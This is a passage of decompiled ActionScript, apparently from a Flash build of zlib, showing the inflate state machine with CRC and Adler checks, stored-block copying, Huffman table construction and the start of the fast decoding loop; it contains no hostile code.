ESP = _loc5_; | |
F_crc32(); | |
_loc5_ = int(_loc5_ + 16); | |
_loc53_ = int(eax); | |
si32(_loc53_,_loc48_ + 24); | |
} | |
_loc46_ = int(_loc43_ + _loc58_); | |
_loc43_ = int(_loc46_ + -1); | |
_loc65_ = int(_loc54_ - _loc58_); | |
_loc54_ = int(_loc65_ + 1); | |
if(_loc62_ != 0) | |
{ | |
_loc65_ = int(_loc65_ + 1); | |
_loc43_ = int(_loc46_ + -1); | |
} | |
} | |
} | |
else | |
{ | |
_loc65_ = li32(_loc48_ + 32); | |
if(_loc65_ != 0) | |
{ | |
si32(0,_loc65_ + 28); | |
} | |
} | |
si32(0,_loc48_ + 64); | |
addr3435: | |
si32(7,_loc48_); | |
_loc53_ = li8(_loc48_ + 17); | |
_loc53_ = _loc53_ & 16; | |
addr3651: | |
if(_loc53_ != 0) | |
{ | |
_loc46_ = 1; | |
_loc65_ = 0; | |
if(_loc54_ != 0) | |
{ | |
while(true) | |
{ | |
_loc65_ = _loc46_; | |
_loc53_ = int(_loc43_ + _loc65_); | |
_loc58_ = li8(_loc53_ - 1); | |
_loc67_ = li32(_loc48_ + 32); | |
if(_loc67_ != 0) | |
{ | |
_loc62_ = li32(_loc67_ + 36); | |
if(_loc62_ != 0) | |
{ | |
_loc46_ = li32(_loc48_ + 64); | |
if(uint(_loc46_) < uint(li32(_loc67_ + 40))) | |
{ | |
si8(_loc58_,int(_loc62_ + _loc46_)); | |
_loc53_ = int(_loc46_ + 1); | |
si32(_loc53_,_loc48_ + 64); | |
} | |
} | |
} | |
_loc46_ = int(_loc65_ + 1); | |
_loc58_ = _loc58_ & 255; | |
if(_loc58_ != 0) | |
{ | |
if(uint(_loc65_) >= uint(_loc54_)) | |
{ | |
break; | |
} | |
continue; | |
} | |
break; | |
} | |
_loc53_ = li8(_loc48_ + 17); | |
_loc53_ = _loc53_ & 2; | |
if(_loc53_ != 0) | |
{ | |
_loc53_ = li32(_loc48_ + 24); | |
_loc5_ = int(_loc5_ - 16); | |
si32(int(_loc46_ + -1),_loc5_ + 8); | |
si32(_loc43_,_loc5_ + 4); | |
si32(_loc53_,_loc5_); | |
ESP = _loc5_; | |
F_crc32(); | |
_loc5_ = int(_loc5_ + 16); | |
_loc53_ = int(eax); | |
si32(_loc53_,_loc48_ + 24); | |
} | |
_loc62_ = int(_loc43_ + _loc46_); | |
_loc43_ = int(_loc62_ + -1); | |
_loc65_ = int(_loc54_ - _loc46_); | |
_loc54_ = int(_loc65_ + 1); | |
if(_loc58_ != 0) | |
{ | |
_loc65_ = int(_loc65_ + 1); | |
_loc43_ = int(_loc62_ + -1); | |
} | |
} | |
} | |
else | |
{ | |
_loc65_ = li32(_loc48_ + 32); | |
if(_loc65_ != 0) | |
{ | |
si32(0,_loc65_ + 36); | |
} | |
} | |
si32(8,_loc48_); | |
_loc58_ = li32(_loc48_ + 16); | |
_loc53_ = _loc58_ & 512; | |
_loc46_ = _loc52_; | |
_loc65_ = _loc50_; | |
if(_loc53_ != 0) | |
{ | |
while(uint(_loc52_) < 16) | |
{ | |
_loc65_ = 0; | |
if(_loc54_ != 0) | |
{ | |
_loc53_ = li8(_loc43_); | |
_loc53_ = _loc53_ << _loc52_; | |
_loc50_ = int(_loc53_ + _loc50_); | |
_loc52_ = int(_loc52_ + 8); | |
_loc54_ = int(_loc54_ + -1); | |
_loc43_ = int(_loc43_ + 1); | |
continue; | |
} | |
} | |
_loc46_ = 0; | |
_loc65_ = _loc46_; | |
if(li16(_loc48_ + 24) != _loc50_) | |
{ | |
si32(29,_loc48_); | |
continue; | |
} | |
} | |
_loc50_ = li32(_loc48_ + 32); | |
if(_loc50_ != 0) | |
{ | |
_loc53_ = int(_loc58_ >>> 9); | |
_loc53_ = _loc53_ & 1; | |
si32(_loc53_,_loc50_ + 44); | |
si32(1,li32(_loc48_ + 32) + 48); | |
} | |
_loc5_ = int(_loc5_ - 16); | |
si32(0,_loc5_ + 8); | |
si32(0,_loc5_ + 4); | |
si32(0,_loc5_); | |
ESP = _loc5_; | |
F_crc32(); | |
_loc5_ = int(_loc5_ + 16); | |
_loc53_ = int(eax); | |
si32(_loc53_,_loc48_ + 24); | |
si32(_loc53_,_loc68_ - 1080); | |
si32(11,_loc48_); | |
_loc52_ = _loc46_; | |
_loc50_ = _loc65_; | |
continue; | |
} | |
_loc46_ = li32(_loc48_ + 16); | |
_loc53_ = _loc46_ & 1024; | |
if(_loc53_ != 0) | |
{ | |
_loc62_ = li32(_loc48_ + 64); | |
_loc50_ = _loc54_; | |
if(uint(_loc62_) <= uint(_loc54_)) | |
{ | |
_loc50_ = _loc62_; | |
} | |
if(_loc50_ != 0) | |
{ | |
_loc65_ = li32(_loc48_ + 32); | |
if(_loc65_ != 0) | |
{ | |
_loc67_ = li32(_loc65_ + 16); | |
if(_loc67_ != 0) | |
{ | |
_loc53_ = li32(_loc65_ + 24); | |
_loc5_ = int(_loc5_ - 16); | |
si32(_loc43_,_loc5_ + 4); | |
_loc41_ = int(li32(_loc65_ + 20) - _loc62_); | |
_loc51_ = int(_loc67_ + _loc41_); | |
si32(_loc51_,_loc5_); | |
_loc65_ = int(_loc53_ - _loc41_); | |
_loc51_ = int(_loc41_ + _loc50_); | |
if(uint(_loc51_) <= uint(_loc53_)) | |
{ | |
_loc65_ = _loc50_; | |
} | |
si32(_loc65_,_loc5_ + 8); | |
ESP = _loc5_; | |
Fmemcpy(); | |
_loc5_ = int(_loc5_ + 16); | |
_loc46_ = li32(_loc48_ + 16); | |
} | |
} | |
_loc53_ = _loc46_ & 512; | |
if(_loc53_ != 0) | |
{ | |
_loc5_ = int(_loc5_ - 16); | |
si32(_loc50_,_loc5_ + 8); | |
si32(_loc43_,_loc5_ + 4); | |
si32(li32(_loc48_ + 24),_loc5_); | |
ESP = _loc5_; | |
F_crc32(); | |
_loc5_ = int(_loc5_ + 16); | |
_loc53_ = int(eax); | |
si32(_loc53_,_loc48_ + 24); | |
} | |
_loc53_ = li32(_loc48_ + 64); | |
_loc62_ = int(_loc53_ - _loc50_); | |
si32(_loc62_,_loc48_ + 64); | |
_loc43_ = int(_loc43_ + _loc50_); | |
_loc54_ = int(_loc54_ - _loc50_); | |
} | |
_loc50_ = _loc58_; | |
_loc65_ = _loc54_; | |
if(_loc62_ == 0) | |
{ | |
} | |
} | |
si32(0,_loc48_ + 64); | |
si32(6,_loc48_); | |
_loc50_ = _loc58_; | |
§§goto(addr3219); | |
} | |
else if(_loc46_ <= 10) | |
{ | |
if(_loc46_ <= 8) | |
{ | |
if(_loc46_ != 7) | |
{ | |
if(_loc46_ != 8) | |
{ | |
§§goto(addr9328); | |
} | |
} | |
else | |
{ | |
§§goto(addr3435); | |
} | |
§§goto(addr3651); | |
} | |
else if(_loc46_ != 9) | |
{ | |
if(_loc46_ != 10) | |
{ | |
§§goto(addr9328); | |
} | |
else | |
{ | |
addr3897: | |
_loc53_ = li32(_loc48_ + 12); | |
if(_loc53_ == 0) | |
{ | |
break; | |
} | |
_loc5_ = int(_loc5_ - 16); | |
si32(0,_loc5_ + 8); | |
si32(0,_loc5_ + 4); | |
si32(0,_loc5_); | |
ESP = _loc5_; | |
F_adler32(); | |
_loc5_ = int(_loc5_ + 16); | |
_loc53_ = int(eax); | |
si32(_loc53_,_loc48_ + 24); | |
si32(_loc53_,_loc68_ - 1080); | |
si32(11,_loc48_); | |
addr3984: | |
_loc53_ = li32(_loc48_ + 4); | |
if(_loc53_ != 0) | |
{ | |
si32(26,_loc48_); | |
_loc50_ = int(_loc50_ >>> (_loc52_ & 7)); | |
_loc52_ = _loc52_ & -8; | |
} | |
else | |
{ | |
while(uint(_loc52_) < 3) | |
{ | |
_loc65_ = 0; | |
if(_loc54_ != 0) | |
{ | |
_loc53_ = li8(_loc43_); | |
_loc53_ = _loc53_ << _loc52_; | |
_loc50_ = int(_loc53_ + _loc50_); | |
_loc52_ = int(_loc52_ + 8); | |
_loc54_ = int(_loc54_ + -1); | |
_loc43_ = int(_loc43_ + 1); | |
continue; | |
} | |
} | |
_loc53_ = _loc50_ & 1; | |
si32(_loc53_,_loc48_ + 4); | |
_loc53_ = int(_loc50_ >>> 1); | |
_loc65_ = _loc53_ & 3; | |
if(_loc65_ <= 1) | |
{ | |
if(_loc65_ != 0) | |
{ | |
if(_loc65_ == 1) | |
{ | |
si32(_lenfix_2E_2366,_loc48_ + 76); | |
si32(9,_loc48_ + 84); | |
si32(_distfix_2E_2367,_loc48_ + 80); | |
si32(5,_loc48_ + 88); | |
si32(19,_loc48_); | |
} | |
} | |
else | |
{ | |
si32(13,_loc48_); | |
} | |
} | |
else if(_loc65_ != 2) | |
{ | |
if(_loc65_ == 3) | |
{ | |
si32(29,_loc48_); | |
} | |
} | |
else | |
{ | |
si32(16,_loc48_); | |
} | |
_loc52_ = int(_loc52_ + -3); | |
_loc50_ = int(_loc50_ >>> 3); | |
} | |
continue; | |
} | |
} | |
else | |
{ | |
while(true) | |
{ | |
if(uint(_loc52_) >= 32) | |
{ | |
_loc51_ = int(_loc50_ >>> 8); | |
_loc51_ = _loc51_ & 65280; | |
_loc41_ = _loc50_ << 8; | |
_loc51_ = _loc50_ << 24 | _loc41_ & 16711680; | |
_loc53_ = _loc51_ | (_loc51_ | int(_loc50_ >>> 24)); | |
si32(_loc53_,_loc48_ + 24); | |
si32(_loc53_,_loc68_ - 1080); | |
si32(10,_loc48_); | |
_loc52_ = 0; | |
_loc50_ = _loc52_; | |
§§goto(addr3897); | |
} | |
else | |
{ | |
_loc65_ = 0; | |
if(_loc54_ != 0) | |
{ | |
_loc53_ = li8(_loc43_); | |
_loc53_ = _loc53_ << _loc52_; | |
_loc50_ = int(_loc53_ + _loc50_); | |
_loc52_ = int(_loc52_ + 8); | |
_loc43_ = int(_loc43_ + 1); | |
_loc54_ = int(_loc54_ + -1); | |
continue; | |
} | |
} | |
} | |
} | |
} | |
else | |
{ | |
if(_loc46_ <= 13) | |
{ | |
_loc53_ = int(_loc46_ + -11); | |
if(uint(_loc53_) >= 2) | |
{ | |
if(_loc46_ != 13) | |
{ | |
§§goto(addr9328); | |
} | |
else | |
{ | |
_loc50_ = int(_loc50_ >>> (_loc52_ & 7)); | |
_loc52_ = _loc52_ & -8; | |
while(true) | |
{ | |
if(uint(_loc52_) >= 32) | |
{ | |
_loc65_ = _loc50_ & 65535; | |
_loc53_ = int(_loc50_ >>> 16); | |
if(_loc65_ != (_loc53_ ^ 65535)) | |
{ | |
si32(29,_loc48_); | |
continue loop7; | |
} | |
si32(_loc65_,_loc48_ + 64); | |
si32(14,_loc48_); | |
_loc52_ = 0; | |
_loc50_ = _loc52_; | |
} | |
else | |
{ | |
_loc65_ = 0; | |
if(_loc54_ != 0) | |
{ | |
_loc53_ = li8(_loc43_); | |
_loc53_ = _loc53_ << _loc52_; | |
_loc50_ = int(_loc53_ + _loc50_); | |
_loc52_ = int(_loc52_ + 8); | |
_loc54_ = int(_loc54_ + -1); | |
_loc43_ = int(_loc43_ + 1); | |
continue; | |
} | |
} | |
} | |
} | |
} | |
else | |
{ | |
§§goto(addr3984); | |
} | |
} | |
else | |
{ | |
if(_loc46_ != 14) | |
{ | |
_loc65_ = _loc54_; | |
if(_loc46_ != 15) | |
{ | |
§§goto(addr9328); | |
} | |
} | |
addr4233: | |
_loc58_ = li32(_loc48_ + 64); | |
if(_loc58_ != 0) | |
{ | |
_loc54_ = _loc65_; | |
if(uint(_loc58_) <= uint(_loc65_)) | |
{ | |
_loc54_ = _loc58_; | |
} | |
_loc58_ = _loc56_; | |
if(uint(_loc54_) <= uint(_loc56_)) | |
{ | |
_loc58_ = _loc54_; | |
} | |
if(_loc58_ != 0) | |
{ | |
_loc5_ = int(_loc5_ - 16); | |
si32(_loc43_,_loc5_ + 4); | |
si32(_loc60_,_loc5_); | |
si32(_loc58_,_loc5_ + 8); | |
ESP = _loc5_; | |
Fmemcpy(); | |
_loc5_ = int(_loc5_ + 16); | |
_loc53_ = li32(_loc48_ + 64); | |
_loc53_ = int(_loc53_ - _loc58_); | |
si32(_loc53_,_loc48_ + 64); | |
_loc60_ = int(_loc60_ + _loc58_); | |
_loc56_ = int(_loc56_ - _loc58_); | |
_loc43_ = int(_loc43_ + _loc58_); | |
_loc54_ = int(_loc65_ - _loc58_); | |
continue; | |
} | |
} | |
else | |
{ | |
si32(11,_loc48_); | |
_loc54_ = _loc65_; | |
continue; | |
} | |
} | |
si32(15,_loc48_); | |
_loc65_ = _loc54_; | |
§§goto(addr4233); | |
} | |
} | |
else if(_loc46_ <= 22) | |
{ | |
if(_loc46_ <= 18) | |
{ | |
if(_loc46_ != 16) | |
{ | |
if(_loc46_ != 17) | |
{ | |
if(_loc46_ != 18) | |
{ | |
§§goto(addr9328); | |
} | |
else | |
{ | |
_loc67_ = li32(_loc48_ + 104); | |
addr4711: | |
loop29: | |
while(true) | |
{ | |
_loc65_ = _loc67_; | |
_loc58_ = li32(_loc48_ + 96); | |
_loc53_ = li32(_loc48_ + 100); | |
_loc46_ = int(_loc53_ + _loc58_); | |
if(uint(_loc65_) < uint(_loc46_)) | |
{ | |
_loc53_ = 1 << li32(_loc48_ + 84); | |
_loc67_ = int(_loc53_ + -1); | |
_loc6_ = li32(_loc48_ + 76); | |
_loc58_ = 0; | |
while(true) | |
{ | |
_loc53_ = _loc50_ & _loc67_; | |
_loc53_ = _loc53_ << 2; | |
_loc7_ = _loc6_ + _loc53_; | |
_loc62_ = li8(_loc7_ + 1); | |
if(uint(_loc62_) > uint(_loc52_)) | |
{ | |
if(_loc54_ != _loc58_) | |
{ | |
_loc53_ = int(_loc43_ + _loc58_); | |
_loc53_ = li8(_loc53_); | |
_loc53_ = _loc53_ << _loc52_; | |
_loc50_ = int(_loc53_ + _loc50_); | |
_loc52_ = int(_loc52_ + 8); | |
_loc58_ = int(_loc58_ + 1); | |
continue; | |
} | |
_loc43_ = int(_loc43_ + _loc58_); | |
_loc65_ = 0; | |
} | |
else | |
{ | |
_loc67_ = li16(_loc7_ + 2); | |
_loc6_ = _loc67_ & 65535; | |
if(uint(_loc6_) <= 15) | |
{ | |
_loc6_ = int(_loc43_ + _loc58_); | |
_loc46_ = 0; | |
while(true) | |
{ | |
_loc43_ = int(_loc54_ + _loc46_); | |
if(uint(_loc62_) <= uint(_loc52_)) | |
{ | |
break; | |
} | |
if(_loc43_ != _loc58_) | |
{ | |
_loc53_ = int(_loc6_ - _loc46_); | |
_loc53_ = li8(_loc53_); | |
_loc53_ = _loc53_ << _loc52_; | |
_loc50_ = int(_loc53_ + _loc50_); | |
_loc52_ = int(_loc52_ + 8); | |
_loc46_ = int(_loc46_ + -1); | |
continue; | |
} | |
_loc43_ = int(_loc6_ - _loc46_); | |
_loc65_ = 0; | |
} | |
si16(_loc67_,int(_loc48_ + (_loc65_ << 1)) + 112); | |
_loc67_ = int(_loc65_ + 1); | |
si32(_loc67_,_loc48_ + 104); | |
_loc52_ = int(_loc52_ - _loc62_); | |
_loc50_ = int(_loc50_ >>> _loc62_); | |
_loc54_ = int(_loc43_ - _loc58_); | |
_loc43_ = int(_loc6_ - _loc46_); | |
continue loop29; | |
} | |
if(_loc6_ != 17) | |
{ | |
if(_loc6_ == 16) | |
{ | |
_loc7_ = _loc43_ + _loc58_; | |
_loc6_ = int(_loc62_ + 2); | |
_loc43_ = 0; | |
while(true) | |
{ | |
_loc67_ = int(_loc54_ + _loc43_); | |
if(uint(_loc6_) <= uint(_loc52_)) | |
{ | |
break; | |
} | |
if(_loc67_ != _loc58_) | |
{ | |
_loc53_ = int(_loc7_ - _loc43_); | |
_loc53_ = li8(_loc53_); | |
_loc53_ = _loc53_ << _loc52_; | |
_loc50_ = int(_loc53_ + _loc50_); | |
_loc52_ = int(_loc52_ + 8); | |
_loc43_ = int(_loc43_ + -1); | |
continue; | |
} | |
_loc43_ = int(_loc7_ - _loc43_); | |
_loc65_ = 0; | |
} | |
_loc6_ = int(_loc50_ >>> _loc62_); | |
if(_loc65_ == 0) | |
{ | |
si32(29,_loc48_); | |
_loc52_ = int(_loc52_ - _loc62_); | |
_loc54_ = int(_loc67_ - _loc58_); | |
_loc43_ = int(_loc7_ - _loc43_); | |
_loc50_ = _loc6_; | |
break loop29; | |
} | |
_loc43_ = int(_loc7_ - _loc43_); | |
_loc54_ = int(_loc67_ - _loc58_); | |
_loc53_ = int(_loc52_ - _loc62_); | |
_loc52_ = int(_loc53_ + -2); | |
_loc53_ = _loc65_ << 1; | |
_loc53_ = int(_loc53_ + _loc48_); | |
_loc58_ = li16(_loc53_ + 110); | |
_loc50_ = int(_loc6_ >>> 2); | |
_loc53_ = _loc6_ & 3; | |
_loc62_ = int(_loc53_ + 3); | |
addr5225: | |
_loc67_ = int(_loc62_ + _loc65_); | |
if(uint(_loc67_) <= uint(_loc46_)) | |
{ | |
_loc46_ = int(_loc45_ + (_loc65_ << 1)); | |
_loc65_ = int(_loc65_ + 1); | |
do | |
{ | |
si16(_loc58_,_loc46_); | |
si32(_loc65_,_loc48_ + 104); | |
_loc46_ = int(_loc46_ + 2); | |
_loc65_ = int(_loc65_ + 1); | |
_loc62_ = int(_loc62_ + -1); | |
} | |
while(_loc62_ != 0); | |
continue loop29; | |
} | |
si32(29,_loc48_); | |
break loop29; | |
} | |
_loc6_ = int(_loc43_ + _loc58_); | |
_loc7_ = _loc62_ + 7; | |
_loc67_ = 0; | |
while(true) | |
{ | |
_loc43_ = int(_loc54_ + _loc67_); | |
if(uint(_loc7_) <= uint(_loc52_)) | |
{ | |
break; | |
} | |
if(_loc43_ != _loc58_) | |
{ | |
_loc53_ = int(_loc6_ - _loc67_); | |
_loc53_ = li8(_loc53_); | |
_loc53_ = _loc53_ << _loc52_; | |
_loc50_ = int(_loc53_ + _loc50_); | |
_loc52_ = int(_loc52_ + 8); | |
_loc67_ = int(_loc67_ + -1); | |
continue; | |
} | |
_loc43_ = int(_loc6_ - _loc67_); | |
_loc65_ = 0; | |
} | |
_loc54_ = int(_loc43_ - _loc58_); | |
_loc43_ = int(_loc6_ - _loc67_); | |
_loc53_ = int(-7 - _loc62_); | |
_loc52_ = int(_loc53_ + _loc52_); | |
_loc53_ = int(_loc50_ >>> _loc62_); | |
_loc50_ = int(_loc53_ >>> 7); | |
_loc53_ = _loc53_ & 127; | |
_loc62_ = int(_loc53_ + 11); | |
_loc58_ = 0; | |
§§goto(addr5225); | |
} | |
else | |
{ | |
_loc7_ = _loc43_ + _loc58_; | |
_loc6_ = int(_loc62_ + 3); | |
_loc67_ = 0; | |
while(true) | |
{ | |
_loc43_ = int(_loc54_ + _loc67_); | |
if(uint(_loc6_) <= uint(_loc52_)) | |
{ | |
break; | |
} | |
if(_loc43_ != _loc58_) | |
{ | |
_loc53_ = int(_loc7_ - _loc67_); | |
_loc53_ = li8(_loc53_); | |
_loc53_ = _loc53_ << _loc52_; | |
_loc50_ = int(_loc53_ + _loc50_); | |
_loc52_ = int(_loc52_ + 8); | |
_loc67_ = int(_loc67_ + -1); | |
continue; | |
} | |
_loc43_ = int(_loc7_ - _loc67_); | |
_loc65_ = 0; | |
} | |
_loc54_ = int(_loc43_ - _loc58_); | |
_loc43_ = int(_loc7_ - _loc67_); | |
_loc53_ = int(-3 - _loc62_); | |
_loc52_ = int(_loc53_ + _loc52_); | |
_loc53_ = int(_loc50_ >>> _loc62_); | |
_loc50_ = int(_loc53_ >>> 3); | |
_loc53_ = _loc53_ & 7; | |
_loc62_ = int(_loc53_ + 3); | |
_loc58_ = 0; | |
§§goto(addr5225); | |
} | |
} | |
} | |
} | |
else | |
{ | |
_loc53_ = li32(_loc48_); | |
if(_loc53_ != 29) | |
{ | |
_loc53_ = li16(_loc48_ + 624); | |
if(_loc53_ == 0) | |
{ | |
si32(29,_loc48_); | |
break; | |
} | |
si32(_loc66_,_loc48_ + 108); | |
si32(_loc66_,_loc48_ + 76); | |
si32(9,_loc48_ + 84); | |
_loc5_ = int(_loc5_ - 32); | |
si32(_loc47_,_loc5_ + 20); | |
si32(_loc39_,_loc5_ + 16); | |
si32(_loc33_,_loc5_ + 12); | |
si32(_loc58_,_loc5_ + 8); | |
si32(_loc45_,_loc5_ + 4); | |
si32(1,_loc5_); | |
ESP = _loc5_; | |
F_inflate_table(); | |
_loc5_ = int(_loc5_ + 32); | |
_loc61_ = int(eax); | |
if(_loc61_ != 0) | |
{ | |
si32(29,_loc48_); | |
break; | |
} | |
_loc53_ = li32(_loc48_ + 108); | |
si32(_loc53_,_loc48_ + 80); | |
si32(6,_loc48_ + 88); | |
_loc5_ = int(_loc5_ - 32); | |
si32(_loc47_,_loc5_ + 20); | |
si32(_loc37_,_loc5_ + 16); | |
si32(_loc33_,_loc5_ + 12); | |
si32(li32(_loc48_ + 100),_loc5_ + 8); | |
si32(2,_loc5_); | |
_loc53_ = int(_loc48_ + (li32(_loc48_ + 96) << 1)); | |
_loc53_ = int(_loc53_ + 112); | |
si32(_loc53_,_loc5_ + 4); | |
ESP = _loc5_; | |
F_inflate_table(); | |
_loc5_ = int(_loc5_ + 32); | |
_loc61_ = int(eax); | |
if(_loc61_ != 0) | |
{ | |
si32(29,_loc48_); | |
break; | |
} | |
addr5516: | |
addr5520: | |
si32(19,_loc48_); | |
_loc61_ = 0; | |
si32(20,_loc48_); | |
if(uint(_loc54_) >= 6) | |
{ | |
if(uint(_loc56_) >= 258) | |
{ | |
si32(_loc60_,_loc68_ - 1116); | |
si32(_loc56_,_loc68_ - 1112); | |
si32(_loc43_,_loc68_ - 1128); | |
si32(_loc54_,_loc35_); | |
si32(_loc50_,_loc48_ + 56); | |
si32(_loc52_,_loc48_ + 60); | |
_loc50_ = li32(_loc68_ - 1100); | |
_loc53_ = li32(_loc50_ + 40); | |
_loc62_ = li32(_loc50_ + 52); | |
_loc9_ = int(_loc62_ + _loc53_); | |
_loc7_ = _loc60_ + (int(_loc56_ + (_loc64_ ^ -1))); | |
_loc67_ = li32(_loc50_ + 48); | |
_loc65_ = int(_loc7_ - _loc67_); | |
_loc58_ = int(_loc62_ + _loc67_); | |
_loc6_ = int(_loc62_ + (int(_loc53_ - _loc7_))); | |
_loc46_ = int(_loc53_ + -1); | |
_loc52_ = int(_loc67_ + _loc46_); | |
_loc53_ = int(_loc56_ + _loc60_); | |
_loc56_ = int(_loc53_ + -258); | |
_loc8_ = int(0 - _loc7_); | |
_loc53_ = int(_loc54_ + _loc43_); | |
_loc54_ = int(_loc53_ + -6); | |
_loc53_ = 1 << li32(_loc50_ + 88); | |
_loc11_ = _loc53_ + -1; | |
_loc53_ = 1 << li32(_loc50_ + 84); | |
_loc10_ = _loc53_ + -1; | |
_loc13_ = int(_loc60_ + -1); | |
_loc12_ = int(_loc43_ + -1); | |
_loc15_ = li32(_loc50_ + 80); | |
_loc14_ = li32(_loc50_ + 76); | |
_loc17_ = li32(_loc50_ + 60); | |
_loc19_ = li32(_loc50_ + 56); | |
_loc18_ = li32(_loc50_ + 44); | |
_loc60_ = int(_loc67_ + -1); | |
_loc43_ = int(_loc62_ + -1); | |
loop14: | |
while(true) | |
{ | |
if(uint(_loc17_) <= 14) | |
{ | |
_loc53_ = li8(_loc12_ + 2); | |
_loc51_ = li8(_loc12_ + 1); | |
_loc51_ = _loc51_ << _loc17_; | |
_loc51_ = int(_loc51_ + _loc19_); | |
_loc19_ = int(_loc51_ + (_loc53_ << int(_loc17_ + 8))); | |
_loc17_ = int(_loc17_ + 16); | |
_loc12_ = int(_loc12_ + 2); | |
} | |
_loc21_ = _loc19_ & _loc10_; | |
loop15: | |
while(true) | |
{ | |
_loc53_ = _loc21_ << 2; | |
_loc51_ = int(_loc14_ + _loc53_); | |
_loc53_ = li8(_loc51_ + 1); | |
_loc17_ = int(_loc17_ - _loc53_); | |
_loc19_ = int(_loc19_ >>> _loc53_); | |
_loc20_ = li8(_loc51_); | |
_loc21_ = li16(_loc51_ + 2); | |
if(_loc20_ == 0) | |
{ | |
si8(_loc21_,_loc13_ + 1); | |
_loc13_ = int(_loc13_ + 1); | |
_loc20_ = _loc19_; | |
_loc23_ = _loc12_; | |
} | |
else | |
{ | |
_loc53_ = _loc20_ & 16; | |
if(_loc53_ != 0) | |
{ | |
_loc20_ = _loc20_ & 15; | |
if(_loc20_ != 0) | |
{ | |
if(uint(_loc17_) < uint(_loc20_)) | |
{ | |
_loc53_ = li8(_loc12_ + 1); | |
_loc53_ = _loc53_ << _loc17_; | |
_loc19_ = int(_loc53_ + _loc19_); | |
_loc17_ = int(_loc17_ + 8); | |
_loc12_ = int(_loc12_ + 1); | |
} | |
_loc17_ = int(_loc17_ - _loc20_); | |
_loc53_ = int(_loc19_ >>> _loc20_); | |
_loc51_ = 1 << _loc20_; | |
_loc51_ = int(_loc51_ + -1); | |
_loc51_ = _loc19_ & _loc51_; | |
_loc21_ = int(_loc51_ + _loc21_); | |
_loc19_ = _loc53_; | |
} | |
if(uint(_loc17_) <= 14) | |
{ | |
_loc53_ = li8(_loc12_ + 2); | |
_loc51_ = li8(_loc12_ + 1); | |
_loc51_ = _loc51_ << _loc17_; | |
_loc51_ = int(_loc51_ + _loc19_); | |
_loc19_ = int(_loc51_ + (_loc53_ << int(_loc17_ + 8))); | |
_loc17_ = int(_loc17_ + 16); | |
_loc12_ = int(_loc12_ + 2); | |
} | |
_loc20_ = _loc19_ & _loc11_; | |
while(true) | |
{ | |
_loc53_ = _loc20_ << 2; | |
_loc53_ = int(_loc15_ + _loc53_); | |
_loc51_ = li8(_loc53_ + 1); | |
_loc17_ = int(_loc17_ - _loc51_); | |
_loc19_ = int(_loc19_ >>> _loc51_); | |
_loc22_ = li16(_loc53_ + 2); | |
_loc20_ = li8(_loc53_); | |
_loc53_ = _loc20_ & 16; | |
if(_loc53_ != 0) | |
{ | |
_loc25_ = _loc20_ & 15; | |
_loc20_ = _loc17_; | |
_loc23_ = _loc12_; | |
if(uint(_loc17_) < uint(_loc25_)) | |
{ | |
_loc53_ = li8(_loc12_ + 1); | |
_loc53_ = _loc53_ << _loc17_; | |
_loc19_ = int(_loc53_ + _loc19_); | |
_loc20_ = int(_loc17_ + 8); | |
_loc23_ = int(_loc12_ + 1); | |
if(uint(_loc20_) < uint(_loc25_)) | |
{ | |
_loc53_ = li8(_loc12_ + 2); | |
_loc53_ = _loc53_ << _loc20_; | |
_loc19_ = int(_loc53_ + _loc19_); | |
_loc20_ = int(_loc17_ + 16); | |
_loc23_ = int(_loc12_ + 2); | |
} | |
} | |
_loc24_ = int(_loc13_ - _loc7_); | |
_loc17_ = int(_loc20_ - _loc25_); | |
_loc20_ = int(_loc19_ >>> _loc25_); | |
_loc53_ = 1 << _loc25_; | |
_loc53_ = int(_loc53_ + -1); | |
_loc12_ = _loc19_ & _loc53_; | |
_loc19_ = int(_loc12_ + _loc22_); | |
if(uint(_loc19_) > uint(_loc24_)) | |
{ | |
_loc25_ = int(_loc19_ - _loc24_); | |
if(uint(_loc25_) > uint(_loc18_)) | |
{ | |
_loc53_ = li32(_loc50_ + 7104); | |
if(_loc53_ != 0) | |
{ | |
si32(29,_loc50_); | |
break loop15; | |
} | |
} | |
if(_loc67_ == 0) | |
{ | |
_loc26_ = int(_loc62_ + (int(_loc46_ - _loc25_))); | |
_loc30_ = _loc13_; | |
if(uint(_loc25_) < uint(_loc21_)) | |
{ | |
_loc53_ = int(_loc7_ + _loc12_); | |
_loc53_ = int(_loc53_ - _loc13_); | |
_loc26_ = int(_loc53_ + _loc22_); | |
_loc24_ = int(_loc13_ + 1); | |
do | |
{ | |
_loc53_ = int(_loc9_ - _loc26_); | |
_loc53_ = li8(_loc53_); | |
si8(_loc53_,_loc24_); | |
_loc24_ = int(_loc24_ + 1); | |
_loc26_ = int(_loc26_ + -1); | |
} | |
while(_loc26_ != 0); | |
_loc51_ = int(_loc22_ + _loc7_); | |
_loc53_ = int(_loc51_ + (int(_loc12_ - _loc13_))); | |
_loc30_ = int(_loc13_ + _loc53_); | |
_loc26_ = int(_loc13_ + (int(_loc53_ - _loc19_))); | |
_loc21_ = int(_loc21_ - _loc25_); | |
} | |
} | |
else if(uint(_loc67_) < uint(_loc25_)) | |
{ | |
_loc24_ = int(_loc25_ - _loc67_); | |
_loc26_ = int(_loc62_ + (int(_loc52_ - _loc25_))); | |
_loc30_ = _loc13_; | |
if(uint(_loc24_) < uint(_loc21_)) | |
{ | |
_loc53_ = int(_loc6_ + (int(_loc13_ - _loc12_))); | |
_loc53_ = int(_loc53_ - _loc22_); | |
_loc30_ = int(_loc53_ + _loc67_); | |
_loc53_ = int(_loc8_ + _loc13_); | |
_loc53_ = int(_loc53_ - _loc12_); | |
_loc26_ = int(_loc67_ + (int(_loc53_ - _loc22_))); | |
_loc25_ = 0; | |
do | |
{ | |
_loc53_ = int(_loc13_ - _loc25_); | |
_loc51_ = int(_loc30_ - _loc25_); | |
_loc51_ = li8(_loc51_); | |
si8(_loc51_,_loc53_ + 1); | |
_loc25_ = int(_loc25_ + -1); | |
} | |
while(_loc26_ != _loc25_); | |
_loc12_ = int(_loc12_ - _loc13_); | |
_loc53_ = int(_loc22_ + _loc65_); | |
_loc30_ = int(_loc13_ + (int(_loc53_ + _loc12_))); | |
_loc21_ = int(_loc21_ - _loc24_); | |
_loc26_ = _loc43_; | |
if(uint(_loc67_) < uint(_loc21_)) | |
{ | |
_loc53_ = int(_loc13_ + _loc65_); | |
_loc53_ = int(_loc53_ + _loc12_); | |
_loc53_ = int(_loc53_ + _loc22_); | |
_loc26_ = int(_loc53_ + 1); | |
_loc25_ = _loc62_; | |
_loc24_ = _loc67_; | |
do | |
{ | |
_loc53_ = li8(_loc25_); | |
si8(_loc53_,_loc26_); | |
_loc26_ = int(_loc26_ + 1); | |
_loc25_ = int(_loc25_ + 1); | |
